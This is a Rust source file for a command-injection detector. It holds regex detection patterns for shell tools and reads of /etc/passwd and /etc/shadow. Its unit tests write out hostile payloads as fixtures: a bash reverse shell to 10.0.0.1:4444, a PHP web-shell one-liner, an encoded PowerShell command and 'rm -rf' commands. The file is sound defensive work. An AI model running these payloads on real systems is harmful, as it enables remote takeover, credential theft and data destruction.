use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
use regex::Regex;
use std::sync::LazyLock;
static STRONG_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
Regex::new(concat!(
r"/dev/tcp[/\w]*",
r"|(?i:passthru\s*\()",
r"|(?i:shell_exec\s*\()",
r#"|(?i:system\s*\(\s*["'$])"#,
r"|(?i:popen\s*\()",
r"|(?i:pcntl_exec\s*\()",
r"|(?i:powershell(?:\.exe)?\s+-\w)",
r"|(?i:cmd\.exe\s+/[ck]\b)",
))
.unwrap()
});
static WEAK_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
Regex::new(concat!(
r"\$\([^)]+\)",
r"|\|[\s]*\w+",
r"|\|\|[\s]*\w+",
r"|&&\s*\w+",
r"|`[^`]+`",
r"|(?i:exec\s*\()",
r"|>/dev/null",
r"|(?i:\b(?:cat|type|more|less|head|tail|strings|xxd|od)\s+/etc/(?:passwd|shadow)\b)",
r"|(?i:cmd\.exe)",
r"|(?i:powershell)",
))
.unwrap()
});
pub struct CommandInjectionDetector;
impl Detector for CommandInjectionDetector {
fn name(&self) -> &'static str {
"command_injection"
}
fn detect(&self, input: &str) -> Option<DetectionResult> {
regex_detect(
std::slice::from_ref(&*STRONG_PATTERNS),
self.name(),
AttackCategory::Injection,
Severity::Critical,
"Command injection detected",
input,
)
.or_else(|| {
regex_detect(
std::slice::from_ref(&*WEAK_PATTERNS),
self.name(),
AttackCategory::Injection,
Severity::Low,
"Shell operator present (weak signal)",
input,
)
})
}
}
#[cfg(test)]
mod tests {
use super::*;
fn det() -> CommandInjectionDetector {
CommandInjectionDetector
}
fn assert_hit(input: &str) {
assert_hit_at(input, Severity::Critical);
}
fn assert_hit_at(input: &str, severity: Severity) {
crate::test_helpers::assert_detected(&det(), input, AttackCategory::Injection, severity);
}
#[test]
fn name_is_command_injection() {
assert_eq!(det().name(), "command_injection");
}
#[test]
fn detects_common_payloads() {
for (input, severity) in [
("bash -i >& /dev/tcp/10.0.0.1/4444", Severity::Critical),
("php -r 'system($_GET[\"cmd\"]);'", Severity::Critical),
("cmd.exe /c dir", Severity::Critical),
("powershell -Command Get-Process", Severity::Critical),
("powershell.exe -EncodedCommand SQBuAHYAbwBrAGUAKAAp", Severity::Critical),
("system(\"id\")", Severity::Critical),
("$(rm -rf /)", Severity::Low),
("ls | grep passwd", Severity::Low),
("cd /tmp && rm -rf *", Severity::Low),
("`cat /etc/passwd`", Severity::Low),
("`systemctl restart app`", Severity::Low),
("exec(\"id\")", Severity::Low),
("deploy.sh >/dev/null", Severity::Low),
("cat /etc/passwd", Severity::Low),
("type /etc/shadow", Severity::Low),
("cmd.exe", Severity::Low),
("powershell", Severity::Low),
] {
assert_hit_at(input, severity);
}
}
#[test]
fn shell_shaped_text_is_low_not_critical() {
for input in [
"| Name | Age | City |\n|------|-----|------|\n| Ada | 36 | London |",
"if (a && b) { return c; }",
"$(document).ready(function() { init(); });",
"https://shop.example/search?a=1&&b=2",
r#"const total = price * qty && discount > 0;"#,
] {
assert_hit_at(input, Severity::Low);
}
}
#[test]
fn tool_names_and_parens_in_prose_are_clean() {
for input in [
"The system (as opposed to the client) handles authentication.",
"Our system (v2) is faster than the previous release.",
"See the runbook (internal) for the rollback procedure.",
"Log output can be discarded by redirecting to /dev/null.",
"The /etc/passwd file holds user account records.",
"On Linux, /etc/shadow stores password hashes.",
"Never commit /etc/passwd to your repository.",
] {
crate::test_helpers::assert_clean(&det(), input);
}
}
#[test]
fn docs_mentioning_tool_names_are_low_not_critical() {
for input in [
"Install PowerShell 7 from the Microsoft Store, then run the installer.",
"Legacy deployments used cmd.exe scripts; those are deprecated.",
] {
assert_hit_at(input, Severity::Low);
}
}
#[test]
fn benign_inputs_not_detected() {
for input in [
"Hello, this is a normal text input. Nothing suspicious here.",
"The system is running normally",
"I executed the plan successfully",
"Pipes are used to join commands in unix",
"Please run the update script",
] {
assert!(det().detect(input).is_none(), "false positive: {input}");
}
}
#[test]
fn real_world_inputs_not_detected() {
for input in [
r#"<!DOCTYPE html>
<html lang="en"><head><title>Docs</title></head>
<body><h1>Welcome</h1><p>Read the <a href="/about">about page</a>.</p>
<img src="/logo.png" alt="logo" width="120">
</body></html>"#,
r##"<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24">
<path d="M12 2 2 22h20z" fill="none" stroke="#333" stroke-width="2"/>
<circle cx="12" cy="12" r="4" fill="#09f"/>
</svg>"##,
"body { margin: 0; font-family: system-ui, sans-serif; }\n.card { display: flex; gap: 8px; color: #334155; }",
"https://shop.example/search?q=shoes&size=42",
] {
crate::test_helpers::assert_clean(&det(), input);
}
}
#[test]
fn edge_cases() {
assert!(det().detect("").is_none());
assert!(det().detect(" \t\n ").is_none());
assert!(det().detect("你好世界 こんにちは").is_none());
assert!(det().detect("system id").is_none());
assert!(det().detect("rm -rf /").is_none());
assert!(det().detect("cmd /c dir").is_none());
assert!(det().detect("shell_exec without parens").is_none());
}
#[test]
fn obfuscated_variants_detected() {
for input in [
"SYSTEM('id')",
"Shell_Exec('id')",
"PowerShell -Command Get-Process",
"PASSTHRU('id')",
] {
assert_hit(input);
}
}
}